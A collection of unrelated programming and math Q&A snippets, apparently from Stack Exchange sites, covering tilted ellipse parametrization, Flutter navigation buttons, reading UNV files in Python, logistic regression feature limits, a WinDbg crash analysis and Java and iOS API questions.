This solution was indicated on busybox, when typing exit, a few gibberish messages appeared, and among them run fsck /dev/mint-vg/ to solve problem
Still no hint on why it happened though.


text:
Q: How to parametrize a shifted and tilted ellipse from its quadratic equation I have the ellipse given by $-3x^2-3y^2+4xy=-2$.
First question is, how do I know that it is really an ellipse? Wolfram alpha says so, but how could I tell in advance?
But more importantly, how can I find a suitable parametrization for this ellipse? I'm aware o similar questions in this forum, where rather convoluted expressions are given for the parameters of a rotated ellipse. But I don't see how to match this to my problem of the search of the parametrization.
For example, in non-tilted ellipses you have to manipulate the equation trying to get the canonical form $\left(\frac{x-x_0}{a}\right)^2 + \left(\frac{y-y_0}{a}\right)^2=1$. Once you have $a, b, x_0$ and $y_0$, you just apply:
$x=x_0+a\cos \theta$
$y=y_0+b\sin\theta$
with $0\le\theta\le2\pi$ and you have it.
Now, how can I do something similar to find the $x(\theta), y(\theta)$ for a tilted ellipse?

A: The equation is symmetric in $x$ and $y$, so it is natural to try the change of variable
$$x:=u+v,\\y:=u-v.$$ (This is a rotation by $45°$ combined with a scaling by $\sqrt2$, i.e. a similarity transform.)
Plugging in the equation, we get
$$-6(u^2+v^2)+4(u^2-v^2)=-2$$ or
$$u^2+5v^2=1.$$
This is an ellipse centered at the origin, with axes of length $1$ and $\dfrac1{\sqrt5}$ (after scaling).

A: Recognize that you could use the trick
$$(u+v)(u-v)=u^2-v^2$$
to decouple a pair of coupled variables, such as $xy$. So, let
$$x=u+v, \>\>\> y = u-v$$
to recast
$$-3x^2-3y^2+4xy=-2$$
into the canonical ellipse form
$$u^2+5v^2=1$$

Edit:
This maneuvering would also work in the general case where $x^2$ and $y^2$ have different coefficients. For example, if the equation is instead,
$$-3x^2-2y^2+4xy=-2$$
Then, let
$$x = u + v, \>\>\> y=u-5v$$
Its canonical form becomes,
$$u^2+73v^2=2$$

A: As mentioned in other answers, this case is relatively simple because the symmetry of the equation leads immediately to the principal axes being parallel to the vectors $(1,1)$ and $(-1,1)$, which then gets you a parameterization that uses these principal axes of the ellipse. More generally, you can work out the required rotation directly.
First thing's first, however: how do you tell that the equation represents an ellipse? Examine its discriminant, which in this case is $4^2-4(-3)(-3)=-32\lt0$, which indicates an ellipse. If it were positive, you'd have a hyperbola, while if zero a parabola. (I'm ignoring the possibility of a degenerate conic here.)
Now, we want to find an angle of rotation $\phi$ that eliminates the cross term in $xy$. Applying the rotation to the general conic equation $Ax^2+Bxy+Cy^2+\dots=0$ (the linear and constant terms don't contribute to this) leads to the condition $$2(A-C)\cos\phi\sin\phi+B(\cos^2\phi-\sin^2\phi)=0,$$ or $$\tan{2\phi}=\frac B{C-A}.$$ For your ellipse, $C-A=0$, therefore $\phi=\pm\pi/4+n\pi.$ Note that you don't really need to know $\phi$ itself to apply the rotation, so using half-angle formulas you can get explicit expressions for $\sin\phi$ and $\cos\phi$ in terms of $A$, $B$ and $C$.
Alternatively, for a parameterization of the form $\mathbf u\cos t+\mathbf v\sin t+\mathbf c$, the vectors $\mathbf u$ and $\mathbf v$ don't need to be the principal half-axes of the ellipse: any pair of conjugate half-diameters will do. These can be found by choosing any convenient value for $\mathbf u$ and then using the fact that the conjugate diameter is parallel to the tangent at the point $\mathbf u+\mathbf c$.
Finally, there are other ways to parameterize an ellipse. You might find a rational parameterization more convenient for some purposes. For instance, let $p_0$ be a point on the ellipse that has an extreme $x$-value so that the tangent at that point is vertical. Compute the other intersection of the line through $p_0$ has slope $m$ with the ellipse. This gives you a parameterization in terms of the slope of the chords through $p_0$.


text:
Q: Flutter Buttons which updates the body Hello how can I make 2 buttons which will update the body content like tabs. When you click on 1st button it will be shown as selected and the content will change (appBar title, body, slider etc.). When you click to another one It will be shown as selected and will change the content again. But the buttons will appear in both contents. like in this example below
There are look like tabs but the difference is they are changing state and updating the page

A: Simplest way is to create a global variable which holds the value of the button selected.
Put it out of the main() method.
You can access it from every class and file in your project.
Other ways would require a Provider and state management architecture.
Working sample:
import 'package:flutter/material.dart';

int selectedButton = 0;

void main() {
  runApp(MyApp());
}

class MyApp extends StatelessWidget {
  @override
  Widget build(BuildContext context) {
    return MaterialApp(
      debugShowCheckedModeBanner: false,
      home: Page1(),
    );
  }
}

class Page1 extends StatelessWidget {
  @override
  Widget build(BuildContext context) {
    return MaterialApp(
        debugShowCheckedModeBanner: false,
        home: Scaffold(
            body: Column(children: <Widget>[
          Text('Page1'),
          MyWidget(selectedButton),
        ])));
  }
}

class Page2 extends StatelessWidget {
  @override
  Widget build(BuildContext context) {
    return MaterialApp(
        debugShowCheckedModeBanner: false,
        home: Scaffold(
            body: Column(children: <Widget>[
          Text('Page2'),
          MyWidget(selectedButton),
        ])));
  }
}

class MyWidget extends StatelessWidget {
  final int selected;

  MyWidget(this.selected);

  @override
  Widget build(BuildContext context) {
    return Row(children: <Widget>[
      RawMaterialButton(
          child: Text("Go to page1"),
          fillColor: selected == 0 ? Colors.red : Colors.grey,
          onPressed: () {
            selectedButton = 0;
            Navigator.push(
                context, MaterialPageRoute(builder: (context) => Page1()));
          }),
      RawMaterialButton(
          child: Text("Go to page2"),
          fillColor: selected == 1 ? Colors.red : Colors.grey,
          onPressed: () {
            selectedButton = 1;
            Navigator.push(
                context, MaterialPageRoute(builder: (context) => Page2()));
          })
    ]);
  }
}


text:
Q: UNV/UFF file in Python I fail to find a package to read UNV/UFF file in Python. Pyuff package outputs this error when trying to read some files(while it works well for some other files with other kind of data) and it signals the same line that the author describes as not being a good implementation:

I wonder if anyone has any idea how to solve this or knows some other package that works well


text:
Q: Set max features in logistic regression I have created a pipeline using a LogReg classifier and I want to restrict the maximum number of features selected by the Lasso but can't see how to do this anywhere. I know about Scikit-Learns SelectFromModel Function but that would require me to use a lasso/ridge regression and so I would need to turn off the penalty term in my classifier. However, my best model uses LibLinear which requires a penalty term to be set in the classifier parameters.
model = Pipeline(steps=[
('preprocessor',preprocessor),
('classifier',LogisticRegression())


text:
Q: Analyzing Crash in WinDbg I have a .NET application that is crashing sometimes on exit.  There's a bunch of COM and native stuff underneath the hood, too.  It's a x86 application running on Windows 7 x64.
I've run through some WinDbg tutorials and I think I'm executing reasonable steps to get helpful information, but the stack trace itself isn't ringing any bells.
A few other tidbits:

*

*I can reproduce this pretty consistently, say 75% of the time

*If I clean up the threading (a lot of Thread.Abort()), it's reproducible maybe 20% of the time

*Running the same procedure, I've seen a completely different stack trace than the one below, too

I'm using the 32-bit WinDbg.  Here's the general process I've been using:

*

*open the executable directly from WinDbg

*set symbol path as: SRV*c:\sym*http://msdl.microsoft.com/download/symbols

*type: .loadby sos clr

*use the application, and get it to crash

Right after the crash, I get output:
(a38.1424): CLR exception - code e0434352 (first chance)
(a38.1424): CLR exception - code e0434352 (first chance)
(a38.1fd0): Unknown exception - code c000000d (first chance)
(a38.1fd0): Unknown exception - code c000000d (!!! second chance !!!)
eax=00000000 ebx=004dea1c ecx=7efdd000 edx=00000057 esi=7264d0c0 edi=07f2a248
eip=778715de esp=004dea08 ebp=004def50 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!ZwRaiseException+0x12:
778715de 83c404          add     esp,4

If I type in ~ I only get one thread:
.  0  Id: a38.1fd0 Suspend: 1 Teb: 7efdd000 Unfrozen
Now, if I type in !analyze -v I get a big stack trace:
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************
[ a bunch of symbol stuff loading here ]

FAULTING_IP:
ntdll!TpReleaseCleanupGroupMembers+276
778e4f52 a1b4009577      mov     eax,dword ptr [ntdll!TppLogpRoutine (779500b4)]

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 778e4f52 (ntdll!TpReleaseCleanupGroupMembers+0x00000276)
   ExceptionCode: c000000d
  ExceptionFlags: 00000000
NumberParameters: 0

FAULTING_THREAD:  00001fd0

PROCESS_NAME:  XXXXX.exe

ERROR_CODE: (NTSTATUS) 0xc000000d - An invalid parameter was passed to a service or function.

EXCEPTION_CODE: (NTSTATUS) 0xc000000d - An invalid parameter was passed to a service or function.

NTGLOBALFLAG:  70

APPLICATION_VERIFIER_FLAGS:  0

CONTEXT:  004dea6c -- (.cxr 0x4dea6c)
eax=004deee0 ebx=00000001 ecx=7efdd000 edx=00000057 esi=7264d0c0 edi=07f2a248
eip=778e4f52 esp=004deed0 ebp=004def50 iopl=0         nv up ei ng nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000297
ntdll!TpReleaseCleanupGroupMembers+0x276:
778e4f52 a1b4009577      mov     eax,dword ptr [ntdll!TppLogpRoutine (779500b4)] ds:002b:779500b4=00000000
Resetting default scope

STACK_ADDR_RAW_STACK_SYMBOL: 4deb4c

ADDITIONAL_DEBUG_TEXT:  Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[ffffffff]

LAST_CONTROL_TRANSFER:  from 00000000 to 77883c04

DEFAULT_BUCKET_ID:  STATUS_INVALID_PARAMETER

PRIMARY_PROBLEM_CLASS:  STATUS_INVALID_PARAMETER

BUGCHECK_STR:  APPLICATION_FAULT_STATUS_INVALID_PARAMETER

STACK_TEXT:
778e4f52 ntdll!TpReleaseCleanupGroupMembers+0x276
72630d69 AUDIOSES!DllCanUnloadNow+0x42
7565b5f4 ole32!CClassCache::CDllPathEntry::CanUnload_rl+0x3b
7565b771 ole32!CClassCache::FreeUnused+0x83
7565b68f ole32!CoFreeUnusedLibrariesEx+0x36
756a0ccb ole32!CoFreeUnusedLibraries+0x9
15e2f549 GxMetadata+0xf549
15e45e3d GxMetadata!DllCanUnloadNow+0x1686d
77889950 ntdll!LdrpCallInitRoutine+0x14
7789d6b2 ntdll!LdrShutdownProcess+0x1aa
7789d554 ntdll!RtlExitUserProcess+0x74
754279f4 KERNEL32!ExitProcessStub+0x12
720642f0 mscoreei!RuntimeDesc::ShutdownAllActiveRuntimes+0x29c
72064321 mscoreei!CLRRuntimeHostInternalImpl::ShutdownAllRuntimesThenExit+0x15
5ea18580 clr!EEPolicy::ExitProcessViaShim+0x66
5ea1862f clr!SafeExitProcess+0x122
5e9638a9 clr!DisableRuntime+0x120
5e963905 clr!EEPolicy::HandleExitProcess+0x5c
5e9b8af8 clr!_CorExeMainInternal+0xdd
5e9b3a30 clr!_CorExeMain+0x4e
720555ab mscoreei!_CorExeMain+0x38
72f67f16 MSCOREE!ShellShim__CorExeMain+0x99
72f64de3 MSCOREE!_CorExeMain_Exported+0x8
7542339a KERNEL32!BaseThreadInitThunk+0xe
77889ef2 ntdll!__RtlUserThreadStart+0x70
77889ec5 ntdll!_RtlUserThreadStart+0x1b

FOLLOWUP_IP:
AUDIOSES!DllCanUnloadNow+42
72630d69 ff3514d06472    push    dword ptr [AUDIOSES!_AudioClientThreadpoolCleanupGroup (7264d014)]

EDIT 1: (additional info)
!clrstack
OS Thread Id: 0x1fd0 (0)
Child SP IP       Call Site
GetFrameContext failed: 1

!threads
ThreadCount:      7
UnstartedThread:  0
BackgroundThread: 4
PendingThread:    0
DeadThread:       3
Hosted Runtime:   no
                                   PreEmptive   GC Alloc                Lock
       ID  OSID ThreadOBJ    State GC           Context       Domain   Count APT Exception
   0    1  1fd0 005afe88     16220 Enabled  03051294:03051e6c 00578550     0 STA
XXXX    2   e5c 005801d0      b220 Enabled  0305a22c:0305be6c 00578550     0 MTA (Finalizer)
XXXX    3       00641258     19820 Enabled  00000000:00000000 00578550     0 Ukn
XXXX    4       06e4b800    819820 Enabled  00000000:00000000 00578550     0 Ukn
XXXX    5  18a0 081be620   200b220 Enabled  00000000:00000000 00578550     1 MTA
XXXX    8       081d5e18    819820 Enabled  00000000:00000000 00578550     0 Ukn
XXXX    7   158 07ed78d8       220 Enabled  00000000:00000000 00578550     0 Ukn

A: Looks like the ntdll!TpReleaseCleanupGroupMembers (the same as kernel32!CloseThreadpoolCleanupGroupMembers - you can look it up on msdn) function (from top of the fault stack) does not like to be called when the process is being shut down - it throws the exception you're seeing (invalid parameter) in this case.
From the presence of two more libs on the stack (audioses and gxmetadata) I'd guess some objects are destroyed/released way too late. audioses.dll seems to the Core Audio API library, not sure about the gxmetadata.dll - can you explain the use of these?


text:
Q: Practical scenarios related to passing an Object of type java.lang.Class to a method I confess to the curiosity of knowing any practical cases wherein it's required to pass a java.lang.Class's Object type or simply any *.class name to a method in java and waht could be the possible use of such an object:
as demonstrated by the code below, though below is a constructor but I would like to know if there are any general usage related to this:
public CustomerFacadeREST() {
        super(Customer.class);
    }

Thanks in advance!!

A: This is very useful in conjunction with generic methods: because of type erasure, generic methods cannot use their generic type parameter T in constructs such as T.class. Sometimes, this may be necessary - for example, to make new instances of class T.
Since java.lang.Class<T> is generic on the type itself (for Customer, that would be java.lang.Class<Customer>), and because the Class object can serve as a statically typed object factory (i.e. its newInstance method is generic, returning T) you can perform type-safe instantiation checked for you at compile time.
See Class Literals as Runtime-Type Tokens for more information on this technique.

A: You can use with DAO Design Pattern
class BaseDAO{
    Class class1;
    public BaseDAO(Class class1) {
        this.class1 =class1;
    }

    public Class getClass1() {
          return class1;
    }

     public void setClass1(Class class1) {
          this.class1 = class1;
    }

    public Object findById(long id){

    }

}
class CustomerFacadeREST extends BaseDAO{

     public CustomerFacadeREST() {
         super(Customer.class);
    }

}


text:
Q: How can i use the getter/setter of a Call-Method from Example Code in MailComposer i have a question regarding the call-methods handling in object-c.
I downloaded the apple sample code for the mail composer (http://developer.apple.com/iphone/library/samplecode/MailComposer/Introduction/Intro.html).
When the user touches the "Compose Mail"-Button in the sample-code the Methode
-(void)displayComposerSheet
{
    NSLog(@"MCVC displayComposerSheet");
    MFMailComposeViewController *picker = [[MFMailComposeViewController alloc] init];
    picker.mailComposeDelegate = self;

    [picker setSubject:@"Hello from California!"];

    // Set up recipients
    NSArray *toRecipients = [NSArray arrayWithObject:@"first@example.com"];
    NSArray *ccRecipients = [NSArray arrayWithObjects:@"second@example.com", @"third@example.com", nil];
    NSArray *bccRecipients = [NSArray arrayWithObject:@"fourth@example.com"];

    [picker setToRecipients:toRecipients];
    [picker setCcRecipients:ccRecipients];
    [picker setBccRecipients:bccRecipients];

    // Attach an image to the email
    NSString *path = [[NSBundle mainBundle] pathForResource:@"rainy" ofType:@"png"];
    NSData *myData = [NSData dataWithContentsOfFile:path];
    [picker addAttachmentData:myData mimeType:@"image/png" fileName:@"rainy"];

    // Fill out the email body text
    NSString *emailBody = @"It is raining in sunny California!";
    [picker setMessageBody:emailBody isHTML:NO];

    [self presentModalViewController:picker animated:YES];
    [picker release];
}

will be loaded and the mailcomposerview appears.
After the user sends the mail or cancels it the following methode will be called
- (void)mailComposeController:(MFMailComposeViewController*)controller didFinishWithResult:(MFMailComposeResult)result error:(NSError*)error
{
    NSLog(@"MCVC mailComposeController");
    message.hidden = NO;
    // Notifies users about errors associated with the interface
    switch (result)
    {
        case MFMailComposeResultCancelled:
            message.text = @"Result: canceled";
            break;
        case MFMailComposeResultSaved:
            message.text = @"Result: saved";
            break;
        case MFMailComposeResultSent:
            message.text = @"Result: sent";
            break;
        case MFMailComposeResultFailed:
            message.text = @"Result: failed";
            break;
        default:
            message.text = @"Result: not sent";
            break;
    }
    [self dismissModalViewControllerAnimated:YES];
}

in which you can implement your code.
My Question now is how can i get for example the data of "toRecipients", "ccRecipients", "setMessageBody", "setSubject" etc.?
Is this even possible? I dont know how to use the getter in the "- (void)mailComposeController:(MFMailComposeViewController*)controller didFinishWithResult:(MFMailComposeResult)result error:(NSError*)error"-Methode
If i forgot any informations you need i will post them :)
Thanks for everyone who can help me out :)

A: From the Apple API:
Important: The mail composition interface itself is not customizable and must not be modified by your application. In addition, after presenting the interface, your application is not allowed to make further changes to the email content. The user may still edit the content using the interface, but programmatic changes are ignored. Thus, you must set the values of content fields before presenting the interface.
Looking at this, and also trying out various names that would be appropriate for the ivars in the didFinishWithResult: method, it seems it is NOT possible to get this information from the prebuilt MFMailComposeViewController
you could subclass this class or roll your own to get the functionality..but that seems to be the only way to do it.